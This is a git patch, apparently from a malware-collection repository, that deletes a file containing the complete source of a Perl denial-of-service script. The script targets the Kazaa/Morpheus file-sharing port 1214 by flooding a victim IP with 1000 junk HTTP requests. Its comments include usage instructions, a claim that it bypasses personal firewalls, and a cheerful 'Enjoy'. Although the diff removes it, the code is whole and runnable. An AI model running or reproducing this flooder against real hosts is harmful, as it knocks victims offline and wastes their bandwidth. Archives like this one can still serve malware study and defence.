From ba2a4625ede0fa44d49a916974878c2fdfea1eb0 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:21:15 -0600
Subject: [PATCH] Delete DoS.Perl.Shafolder

na
---
 Perl/DoS.Perl.Shafolder | 57 -----------------------------------------
 1 file changed, 57 deletions(-)
 delete mode 100644 Perl/DoS.Perl.Shafolder

diff --git a/Perl/DoS.Perl.Shafolder b/Perl/DoS.Perl.Shafolder
deleted file mode 100644
index 19260fe7..00000000
--- a/Perl/DoS.Perl.Shafolder
+++ /dev/null
@@ -1,57 +0,0 @@
-#
-#Kazaa/Morpheus Denial of Service Attack
-#Coded by Paul Godfrey
-#PaulG@Crackdealer.com
-#
-#Problem:  Both Kazaa and Morpheus filesharing applications have "backdoors"
-#which allow anonymous file access to their shared folder.  What does this have
-#to do with Denial of Service?  Unlike connections made from other users
-#of the applications, the number of connections to the backdoor cannot be
-#regulated or detected by the client.  This obviously will allow us to flood the
-#server with requests and therefore use up all of the available bandwidth.
-#Also due to the fact that most users have setup their firewall privileges so
-#that Kazaa or Morpheus is allowed access to open connections to outside sources
-#this attack will bypass most personal firewall clients such as Zone Alarm.
-#
-#Enjoy.
-#
-#Usage: ./km.pl -h victimip
-
-use Socket; 
-use Getopt::Std; 
-
-getopts("h:", \%args); 
-
-print("\nK/M Denial of Service\n"); 
-if (!defined $args{h}) { 
-print("Usage: km.pl -h victimip\n\n"); 
-exit; } 
-
-$host = $args{h}; 
-$target = inet_aton($host) || die("inet_aton problems; host doesn't exist?"); 
-
-$trash="A"x100;
-
-&exec_cmd($command); 
-
-sub exec_cmd { 
-for($count=1;$count<=1000;$count++)
-{
-sendraw("GET /\"$trash\" HTTP/1.0\n\n");
-print("|");
-}
-print("\nData Sent.\n\n"); 
-} 
-
-sub sendraw { 
-my ($pstr)=@_; 
-socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 
-die("Socket problems\n"); 
-if(connect(S,pack "SnA4x8",2,1214,$target)){ 
-my @in; 
-select(S); $|=1; print $pstr; 
-while(< S >){ push @in, $_; 
-print STDOUT "." if(defined $args{X});} 
-select(STDOUT); close(S); return @in; 
-} else { die("Can't connect...\n"); } 
-}